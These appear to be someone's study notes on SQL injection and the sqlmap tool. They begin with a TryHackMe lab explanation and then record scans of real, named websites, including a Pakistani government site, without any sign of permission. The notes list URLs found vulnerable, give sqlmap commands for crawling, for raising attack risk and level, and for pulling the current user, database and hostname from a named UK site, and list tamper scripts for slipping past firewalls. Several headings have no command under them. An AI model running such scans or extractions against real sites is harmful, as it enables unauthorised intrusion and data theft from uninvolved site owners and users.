SQLMAP
SQLMAP
https://tryhackme.com/room/sqlinjectionlm
The key to discovering error-based SQL Injection is to break the code's SQL query by trying
certain characters until an error message is produced; these are most commonly single
apostrophes ( ' ) or a quotation mark ( " ).
Try typing an apostrophe ( ' ) after the id=1 and press enter. And you'll see this returns an
SQL error informing you of an error in your syntax. The fact that you've received this error
message confirms the existence of an SQL Injection vulnerability. We can now exploit this
vulnerability and use the error messages to learn more about the database structure.
SQL MAP
https://www.youtube.com/watch?v=QsMkQMKsIII
Sqlmap –u http://www.abc.com –crawl 3 –technique=”U” (U means union and crawl 3 means crawl
to the 3rd depth)
3) For threads:
4) When the tool can’t find vulnerabilities, it can look for risk by trying the payloads. We can
give value 1, 2,3. It’ll check more severe Payloads by increasing the number from 1-3.
5) When the tool can’t find vulnerabilities, we can increase levels to search for vulnerabilities
for eg going to level ‘2’ it’ll check in the cookie for vulnerabilities and for level ‘3’ it’ll go in to
‘user- agent’ to check. Means we are increasing the range of our testing. We can assign
values from 1-5.
One thing to notice is that by increasing the ‘level’ and ‘risk’ the chances of false positives
can increase.
After the
scan is completed, we can copy the vulnerable URL so to exploit it.
To see http
headers.
7) If we have found vulnerable URL, how to exploit it or get more details out of it.
I found the vulnerable URL of
https://www.sngpl.com.pk/
By writing command
sqlmap -u https://www.sngpl.com.pk/ --crawl 2 --batch --threads 5 --risk 2 --level 1
Results:
https://www.mohtasibsindh.gov.pk/index.php?id=1
https://www.minddesign.co.uk/show.php?id=174
http://esjindex.org/search.php?id=1
http://www.gdilabs.com/
9)
Another command:
https://www.websec.ca/publication/Blog/Bypassing_WAFs_with_SQLMap
https://hacknopedia.com/2022/07/29/sqlmap-tamper-script-collection/
https://securityonline.info/sqlmap-tamper-script-bypassing-waf/
In temper option:
apostrophemask.py,apostrophenullencode.py,appendnullbyte.py,base64encode.py,between.py,blu
ecoat.py,chardoubleencode.py,charencode.py,charunicodeencode.py,concat2concatws.py,equaltoli
ke.py,greatest.py,halfversionedmorekeywords.py,ifnull2ifisnull.py,lowercase.py,modsecurityversion
ed.py,modsecurityzeroversioned.py,multiplespaces.py,nonrecursivereplacement.py,overlongutf8.py,
percentage.py,randomcase.py,randomcomments.py,securesphere.py,sp_password.py,space2comm
ent.py,space2dash.py,space2hash.py,space2morehash.py,space2mssqlblank.py,space2mssqlhash.py
,space2mysqlblank.py,space2mysqldash.py,space2plus.py,space2randomblank.py,unionalltounion.p
y,unmagicquotes.py,varnish.py,versionedkeywords.py,versionedmorekeywords.py
10) Working on
https://www.minddesign.co.uk/show.php?id=174
sqlmap -u https://www.minddesign.co.uk/show.php?id=174 --current-user --current-db --
hostname –batch